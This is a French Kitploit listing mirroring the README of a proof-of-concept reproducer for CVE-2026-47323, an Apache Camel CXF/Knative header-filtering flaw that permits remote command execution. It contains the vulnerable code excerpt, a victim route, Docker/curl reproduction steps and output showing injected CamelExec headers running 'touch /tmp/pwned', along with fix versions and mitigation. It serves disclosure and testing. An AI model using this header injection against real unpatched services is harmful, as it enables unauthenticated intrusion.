Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-47323 — Reproducteur pour CVE-2026-47323 : HeaderFilterStrategy CXF/Knative d'Apache Camel manquant de filtrage entrant, permettant une injection d'en-tête de contrôle Camel (RCE via camel-exec) via les points de terminaison CXF-RS/CXF-SOAP/Knative (corrigé dans 4.14.6/4.18.2/4.19.0) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-47323
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHuboscerd/cve-2026-47323

CVE-2026-47323

Reproducteur pour CVE-2026-47323 : HeaderFilterStrategy CXF/Knative d'Apache Camel manquant de filtrage entrant, permettant une injection d'en-tête de contrôle Camel (RCE via camel-exec) via les points de terminaison CXF-RS/CXF-SOAP/Knative (corrigé dans 4.14.6/4.18.2/4.19.0)

Voir le dépôt
12il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-cxf-rest / camel-cxf / camel-knative-http Reproducteur d'injection d'en-tête (CVE-2026-47323)

Ce projet démontre une injection d'en-tête de message dans les stratégies de filtrage d'en-tête HTTP CXF et Knative d'Apache Camel, suivie sous le nom CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) et KnativeHttpHeaderFilterStrategy (camel-knative-http) ne filtrent que les en-têtes internes sortants de Camel (setOutFilterStartsWith), tout en ne configurant pas le filtrage entrant (setInFilterStartsWith). En conséquence, un attaquant non authentifié peut injecter des en-têtes internes de Camel (par ex. CamelExecCommandExecutable, CamelFileName) via des requêtes HTTP vers des points de terminaison CXF-RS ou CXF-SOAP. Lorsqu'une route transmet les messages de ces points de terminaison à des composants pilotés par en-tête tels que camel-exec ou camel-file, les en-têtes injectés remplacent les valeurs configurées — permettant une ou des écritures arbitraires de fichiers.

exécution de code à distance

Cette POC utilise la surface CXF-RS (JAX-RS) : un CamelExecCommandExecutable injecté transforme un echo inoffensif en exécution de commande arbitraire.

Advisory: https://camel.apache.org/security/CVE-2026-47323.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy)
CWECWE-20: Validation incorrecte des entrées
ImpactInjecter des en-têtes de contrôle Camel via une requête HTTP → remplacer un producteur aval piloté par en-tête → RCE (camel-exec) ou écriture arbitraire de fichier (camel-file)
PrérequisUn point de terminaison CXF-RS / CXF-SOAP / Knative transférant à un producteur piloté par en-tête ; non authentifié lorsque le point de terminaison l'est
Versions affectéesDe 3.18.0 avant 4.14.6, de 4.15.0 avant 4.18.2, 4.19.0 (corrigé dans 4.19.0)
Versions corrigées4.14.6, 4.18.2, 4.19.0
CréditQuac Tran

Ce reproducteur épingle camel 4.18.1 — la dernière version affectée sur la ligne 4.18.x (le correctif est arrivé dans 4.18.2). Même schéma que camel-undertow (CVE-2025-30177), le filtre d'en-tête entrant plus large (CVE-2025-27636, CVE-2025-29891) et les stratégies non-HTTP (CVE-2026-40453).

Détails techniques

root@kitploit:~
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- injected header lands here
    }
}

Le correctif (4.14.6 / 4.18.2 / 4.19.0) ajoute setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) à ces stratégies, de sorte que les en-têtes entrants Camel* / camel* sont supprimés.

La route victime

root@kitploit:~
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // the author's fixed, harmless command
    .setBody(constant("ok\n"));

Un point de terminaison JAX-RS (GET /service/api/ping) dont les requêtes sont transmises à une commande shell fixe. Le producteur camel-exec honore un en-tête entrant CamelExecCommandExecutable de préférence au echo configuré.

Disposition du dépôt

Tout fonctionne dans une application autonome : le point de terminaison CXF-RS, le puits camel-exec et le pilote attaquant.

root@kitploit:~
CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS contract: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs consumer -> exec:echo
    │   └── ExploitController.java  # attacker: GET /ping with injected CamelExec* headers
    └── resources/
        └── application.properties

Prérequis

  • Java 17+ et Maven 3.8+
  • Docker (optionnel, pour l'exécution conteneurisée)

Étapes de reproduction

Option A — Docker (recommandé)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # created by the injected command
docker compose down

Option B — exécuter le jar directement

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

Résultat attendu

root@kitploit:~
marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true

Vecteurs d'attaque

Toute route qui transmet des messages d'un point de terminaison CXF-RS, CXF-SOAP ou Knative-HTTP à un producteur piloté par en-tête. Au-delà de CamelExecCommandExecutable (RCE via camel-exec), CamelFileName permet des écritures arbitraires de fichiers via camel-file, et d'autres en-têtes de contrôle Camel* peuvent orienter d'autres producteurs.

Correctif recommandé

Mettez à jour vers 4.14.6 / 4.18.2 / 4.19.0. Les stratégies affectées configurent alors setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), supprimant les en-têtes entrants Camel*.

Atténuation

En attendant la mise à jour, supprimez les en-têtes de contrôle Camel des messages entrants avant tout producteur aval (.removeHeaders("Camel*") et .removeHeaders("camel*") au début de la route), et exigez l'authentification sur le point de terminaison CXF / Knative.

Avertissement

Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil